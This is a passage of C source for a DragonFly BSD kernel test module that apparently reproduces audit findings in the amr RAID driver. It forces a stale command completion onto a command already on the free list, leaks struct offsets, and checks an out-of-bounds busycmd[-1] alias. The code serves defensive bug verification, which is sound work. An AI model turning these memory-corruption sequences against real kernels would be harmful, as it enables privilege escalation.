/* DF-4060 late-completion variant: the card finally completes the
 * stale command after the caller already recycled it onto the free
 * list.  To capture the completion stores before amr_startio()
 * reallocates the very same command off the free list head (which
 * resets ac_status at amr.c:1895), the rig arms ac_complete on the
 * free-listed command first -- standing in for amr_completeio, i.e.
 * exactly the "command recycled for a new bio" case in the finding:
 * production amr_complete runs the callback on a command that still
 * sits on amr_freecmds (two owners). */
static uint32_t late_probe_fired;
static uint32_t late_probe_status;
static uint32_t late_probe_busyflag;
static uint32_t late_probe_on_freelist;
static uint64_t late_probe_cmd;

static void
rig_late_probe(struct amr_command *ac)
{
	late_probe_fired++;
	late_probe_status = (uint32_t)ac->ac_status;
	late_probe_busyflag = !!(ac->ac_flags & AMR_CMD_BUSY);
	late_probe_on_freelist =
	    (STAILQ_FIRST(&ac->ac_sc->amr_freecmds) == ac);
	late_probe_cmd = (uintptr_t)ac;
}

static void
rig_run_4060late(struct rig_4060late_args *a)
{
	struct amr_softc *sc;
	struct amr_command *ac;
	uint8_t id;
	uint32_t ack0;
	volatile struct amr_mailbox *mb;
	amr_std_poll_fn pollfn = (amr_std_poll_fn)(uintptr_t)a_amr_std_poll_command;

	sc = rig_new_softc(1);
	if (sc == NULL)
		return;

	ac = amr_alloccmd(sc);
	ac->ac_flags |= AMR_CMD_PRIORITY | AMR_CMD_DATAOUT;
	ac->ac_mailbox.mb_command = AMR_CMD_FLUSH;
	a->poll_err = pollfn(ac);		/* PRODUCTION: times out */

	a->busy_before = !!(ac->ac_flags & AMR_CMD_BUSY);
	a->status_before = (uint32_t)ac->ac_status;

	amr_releasecmd(ac);			/* caller recycles it */
	ac->ac_complete = rig_late_probe;	/* stand-in for amr_completeio */

	/* ... and only then the card completes the stale id */
	id = ac->ac_slot + 1;
	mb = sc->amr_mailbox;
	ack0 = vhba_ack_seen;
	rig_raise_completion(sc, 1, &id, 0x77);
	amr_done(sc);				/* PRODUCTION */

	a->busy_after = !!(ac->ac_flags & AMR_CMD_BUSY);
	a->status_after = late_probe_status;	/* 0x77 = store landed */
	a->still_on_freelist = late_probe_on_freelist;
	a->busyslots_after = (uint32_t)sc->amr_busyslots;

	kprintf("[amrrig] DF-4060LATE: probe fired=%u on cmd %p: "
	    "completion status 0x%x stored, BUSY at callback %u, "
	    "ON FREE LIST at callback %u; acks=%u\n",
	    late_probe_fired, (void *)(uintptr_t)late_probe_cmd,
	    late_probe_status, late_probe_busyflag,
	    late_probe_on_freelist, vhba_ack_seen - ack0);
}

static int
rig_ioctl(struct dev_ioctl_args *ap)
{
	u_long cmd = ap->a_cmd;
	caddr_t data = ap->a_data;
	int error = 0;

	/* /dev/dfamr0 is 0600 root:wheel */

	lockmgr(&rig_lock, LK_EXCLUSIVE);
	rig_mirror();
	switch (cmd) {
	case RIGIOC_OFFS: {
		struct rig_offs_args *a = (struct rig_offs_args *)data;
		struct amr_softc *sc;

		a->off_busycmd = offsetof(struct amr_softc, amr_busycmd);
		a->off_busyslots = offsetof(struct amr_softc, amr_busyslots);
		a->off_ready = offsetof(struct amr_softc, amr_ready);
		a->off_ac_sc = offsetof(struct amr_command, ac_sc);
		a->off_ac_slot = offsetof(struct amr_command, ac_slot);
		a->off_ac_status = offsetof(struct amr_command, ac_status);
		a->off_ac_flags = offsetof(struct amr_command, ac_flags);
		a->off_ac_complete = offsetof(struct amr_command, ac_complete);
		a->sizeof_softc = sizeof(struct amr_softc);
		a->sizeof_command = sizeof(struct amr_command);
		a->sizeof_mailbox = sizeof(struct amr_mailbox);

		/* empirically prove the amr_busycmd[-1] alias */
		sc = rig_new_softc(0);
		if (sc != NULL) {
			a->busykm1_value =
			    *(uint64_t *)((uint8_t *)sc + a->off_busycmd - 8);
			a->ready_stqh_last =
			    (uintptr_t)&sc->amr_ready.stqh_first;
			a->mchecked = (a->busykm1_value == a->ready_stqh_last);
		}
		break;
	}
	case RIGIOC_4059B: {
		struct rig_4059b_args *a = (struct rig_4059b_args *)data;
		if (!rig_primed()) { a->primed = 0; break; }
		a->primed = 1;
		rig_run_4059b(a);
		break;
	}
	case RIGIOC_4059LEAK: {
		struct rig_4059leak_args *a = (struct rig_4059leak_args *)data;
		if (!rig_primed()) { a->primed = 0; break; }
		a->primed = 1;
		rig_run_4059leak(a);
		break;
	}
	case RIGIOC_4059A: {
		struct rig_4059a_args *a = (struct rig_4059a_args *)data;
		if (!rig_primed()) { a->primed = 0; break; }
		a->primed = 1;
		rig_run_4059a(a);
		break;
	}
	case RIGIOC_4060TMO: {
		struct rig_4060tmo_args *a = (struct rig_4060tmo_args *)data;
		if (!rig_primed()) { a->primed = 0; break; }
		a->primed = 1;
		rig_run_4060tmo(a);
		break;
	}
	case RIGIOC_4060LATE: {
		struct rig_4060late_args *a = (struct rig_4060late_args *)data;
		if (!rig_primed()) { a->primed = 0; break; }
		a->primed = 1;
		rig_run_4060late(a);
		break;
	}
	default:
		error = ENOIOCTL;
		break;
	}
	lockmgr(&rig_lock, LK_RELEASE);
	return (error);
}

/* ------------------------------------------------------------------ */
/* Module glue                                                        */
/* ------------------------------------------------------------------ */
static int
dfamr_modevent(module_t mod, int type, void *data)
{
	switch (type) {
	case MOD_LOAD:
		lockinit(&rig_lock, "dfamr", 0, LK_CANRECURSE);
		rig_fake_dev.driver = &rig_fake_driver;
		rig_fake_dev.unit = 0;
		cluster_snap = kmalloc(AMR_CMD_CLUSTERSIZE, M_DEVBUF,
		    M_INTWAIT | M_ZERO);
		regpage = kmalloc(PAGE_SIZE, M_DEVBUF, M_INTWAIT | M_ZERO);
		rig_cdev = make_dev(&rig_ops, 0, UID_ROOT, GID_WHEEL,
		    0600, "dfamr0");
		kprintf("[amrrig] loaded (production handlers: amr_done "
		    "linked; statics primed via sysctl)\n");
		return (0);
	case MOD_UNLOAD:
		destroy_dev(rig_cdev);
		return (0);
	default:
		return (EOPNOTSUPP);
	}
}

DEV_MODULE(dfamr_rig, dfamr_modevent, NULL);